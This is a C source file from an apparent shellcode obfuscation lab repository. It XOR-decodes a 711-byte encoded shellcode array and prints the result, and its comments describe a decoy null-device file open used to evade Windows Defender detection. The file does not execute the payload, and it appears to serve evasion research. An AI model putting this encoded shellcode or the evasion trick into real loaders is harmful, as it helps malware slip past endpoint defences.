mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
54 lines
4.4 KiB
C
54 lines
4.4 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
|
|
void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
|
|
// Defender will detect this function
|
|
// Somehow, opening the null device and closing it again is enough to avoid detection
|
|
FILE* outfile = fopen("nul", "w");
|
|
|
|
int myByte = 0;
|
|
int k_minus_one = key_len - 1;
|
|
for (int idx = 0; idx < ciphertext_len; idx++) {
|
|
if (myByte == k_minus_one)
|
|
{
|
|
myByte = 0;
|
|
}
|
|
|
|
ciphertext[idx] = ciphertext[idx] ^ key[myByte];
|
|
myByte++;
|
|
|
|
}
|
|
// Close our decoy
|
|
fclose(outfile);
|
|
}
|
|
|
|
|
|
int main(void)
|
|
{
|
|
|
|
char shellcode[711] = {0xa4,0x07,0xd1,0xaf,0xb5,0xb1,0x94,0x4f,0x52,0x4b,0x04,0x08,0x19,0x1f,0x00,0x03,0x74,0x8b,0x3d,0x07,0xd9,0x19,0x25,0x11,0xd3,0x1d,0x4a,0x03,0xce,0x0b,0x78,0x1e,0x04,0x03,0x4a,0xee,0x12,0x05,0x1a,0xc0,0x37,0x09,0x15,0x7e,0x9b,0x03,0x74,0x99,0xf4,0x73,0x33,0x37,0x47,0x75,0x78,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0xb0,0xa6,0x17,0x11,0xd3,0x1d,0x72,0xc0,0x07,0x65,0x19,0x1e,0x1a,0x4a,0x95,0x3f,0xd9,0x37,0x4a,0x40,0x47,0x56,0xdd,0x3d,0x52,0x4b,0x45,0xd2,0xd8,0xc7,0x52,0x4b,0x45,0x11,0xdd,0x8f,0x26,0x2c,0x0d,0x58,0x88,0x0b,0xd9,0x0b,0x65,0x10,0x59,0x9f,0xd9,0x03,0x5d,0x09,0xbb,0x19,0x1a,0xb4,0x8c,0x18,0xd3,0x7b,0xda,0x06,0x74,0x90,0x10,0x4e,0x84,0x03,0x74,0x99,0xf4,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0x6a,0xab,0x30,0xa8,0x14,0x4c,0x1e,0x6f,0x4d,0x1c,0x61,0x9e,0x27,0x93,0x1d,0x1d,0xd3,0x0f,0x76,0x02,0x44,0x89,0x3e,0x0e,0xd9,0x47,0x0d,0x1d,0xd3,0x0f,0x4e,0x02,0x44,0x89,0x19,0xc4,0x56,0xc3,0x04,0x01,0x19,0x17,0x1a,0x4a,0x95,0x07,0x01,0x15,0x13,0x13,0x04,0x00,0x19,0x15,0x1a,0xc8,0xa9,0x79,0x19,0x1d,0xad,0xab,0x1d,0x18,0x01,0x15,0x1a,0xc0,0x57,0xb0,0x13,0xb0,0xad,0xb4,0x18,0x11,0x69,0x94,0x01,0x02,0xfb,0x2e,0x31,0x21,0x3b,0x25,0x20,0x2d,0x58,0x0e,0x04,0x03,0xcc,0xb8,0x11,0x88,0x90,0x07,0x32,0x7f,0x5f,0xb0,0x87,0x18,0x16,0xb1,0x28,0x4f,0x52,0x4b,0x08,0x36,0x22,0x26,0x3e,0x27,0x24,0x76,0x6d,0x61,0x62,0x6b,0x6d,0x0e,0x31,0x21,0x36,0x24,0x32,0x2a,0x78,0x01,0x06,0x6b,0x74,0x69,0x76,0x7f,0x69,0x6b,0x12,0x30,0x36,0x79,0x66,0x70,0x65,0x21,0x6e,0x7b,0x7b,0x6b,0x04,0x29,0x28,0x23,0x37,0x1c,0x20,0x3b,0x13,0x26,0x26,0x64,0x70,0x6a,0x6f,0x61,0x61,0x7d,0x65,0x71,0x13,0x07,0x06,0x06,0x09,0x75,0x78,0x23,0x3b,0x20,0x20,0x79,0x1f,0x2a,0x31,0x20,0x2a,0x70,0x78,0x0c,0x3a,0x39,0x2a,0x34,0x3d,0x60,0x63,0x78,0x74,0x77,0x68,0x61,0x62,0x65,0x75,0x79,0x0b,0x2e,0x34,0x2a,0x37,0x30,0x77,0x7a,0x61,0x7c,0x6b,0x6a,0x6e,0x4f,0x0b,0x18,0x1f,0x14,0x69,0x8f,0x1f,0x7a,0x8c,0x0a,0x0b,0x06,0xe8,0x71,0x13,0x20,0xff,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0xa7,0x42,0x4b,0x45,0x59,0x69,0x76,0x60,0x65,0x74,0x6f,0x60,0x61,0x63,0x72,0x75,0x77,0x69,0x7c,0x66,0x4b,0x1f,0x11,0xd1,0x8e,0x1b,0x8c,0x85,0x09,0x58,0x4f,0x52,0x06,0x74,0x90,0x0b,0x1c,0x38,0x48,0x16,0x10,0xe2,0x18,0xdb,0xd4,0x83,0x59,0x58,0x4f,0x52,0xb4,0x90,0xb1,0x13,0x4f,0x52,0x4b,0x6a,0x2c,0x2f,0x0b,0x3b,0x12,0x17,0x17,0x2a,0x2c,0x3f,0x31,0x0a,0x6e,0x15,0x10,0x27,0x3b,0x36,0x18,0x1a,0x1f,0x25,0x21,0x1a,0x35,0x36,0x26,0x39,0x7f,0x7d,0x6e,0x07,0x08,0x33,0x09,0x77,0x0a,0x15,0x3b,0x37,0x7a,0x29,0x33,0x00,0x29,0x16,0x1b,0x31,0x60,0x61,0x09,0x30,0x3f,0x14,0x18,0x00,0x7a,0x23,0x1d,0x27,0x68,0x0a,0x26,0x13,0x1f,0x0f,0x16,0x36,0x3e,0x24,0x33,0x30,0x74,0x58,0x07,0xdb,0x8a,0x16,0x03,0x19,0x17,0x1f,0x7a,0x8c,0x0a,0x10,0xf7,0x52,0x49,0x6d,0xdd,0x58,0x4f,0x52,0x4b,0x15,0x0a,0x0b,0x06,0x95,0x89,0xae,0x0c,0x76,0x74,0xad,0x9e,0x0d,0xd0,0x9e,0x25,0x58,0x14,0x16,0x03,0x10,0xc6,0xa3,0x06,0x74,0x90,0x15,0x7e,0x9b,0x18,0x16,0x10,0x9f,0x8d,0x7f,0x4d,0x5d,0x22,0xa7,0x9a,0xd7,0x8b,0x30,0x46,0x10,0x88,0x93,0xc3,0x56,0x59,0x58,0x06,0xe8,0x0f,0xb5,0x6c,0xb8,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xad,0x84,0x31,0x5b,0xb3,0x83,0xba,0x1e,0x45,0x59,0x58,0x1c,0x0b,0x21,0x05,0x03,0x11,0xc6,0x83,0x8a,0xa7,0x49,0x11,0x88,0x92,0x4b,0x55,0x59,0x58,0x06,0xe8,0x13,0xe1,0x0a,0xbd,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xc1,0x18,0x16,0x11,0xd1,0xa8,0x1a,0xc2,0xb4,0x11,0xd1,0x95,0x1b,0x8c,0x85,0x59,0x78,0x4f,0x52,0x02,0xcc,0xa0,0x11,0xf5,0x40,0xdd,0xcc,0xbb,0x58,0x4f,0x52,0x4b,0xba,0x8c,0x10,0xcc,0x96,0x6b,0xc0,0x99,0x2c,0xfd,0x34,0xc0,0x42,0x11,0x59,0x8c,0xd7,0x8b,0x30,0x8b,0x00,0x8c,0x0a,0x21,0x45,0x00,0x11,0x88,0x90,0xbb,0xf0,0xfb,0x0e,0xb0,0x87};
|
|
char xorkey[] = "XORKEY";
|
|
|
|
|
|
// XOR our shellcode with the key to decode it
|
|
XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey));
|
|
|
|
int idx = 0;
|
|
while ( idx < sizeof(shellcode))
|
|
{
|
|
if (idx == (sizeof(shellcode) - 1) )
|
|
{
|
|
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
|
}
|
|
else
|
|
{
|
|
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
|
}
|
|
idx++;
|
|
}
|
|
|
|
|
|
return 0;
|
|
}
|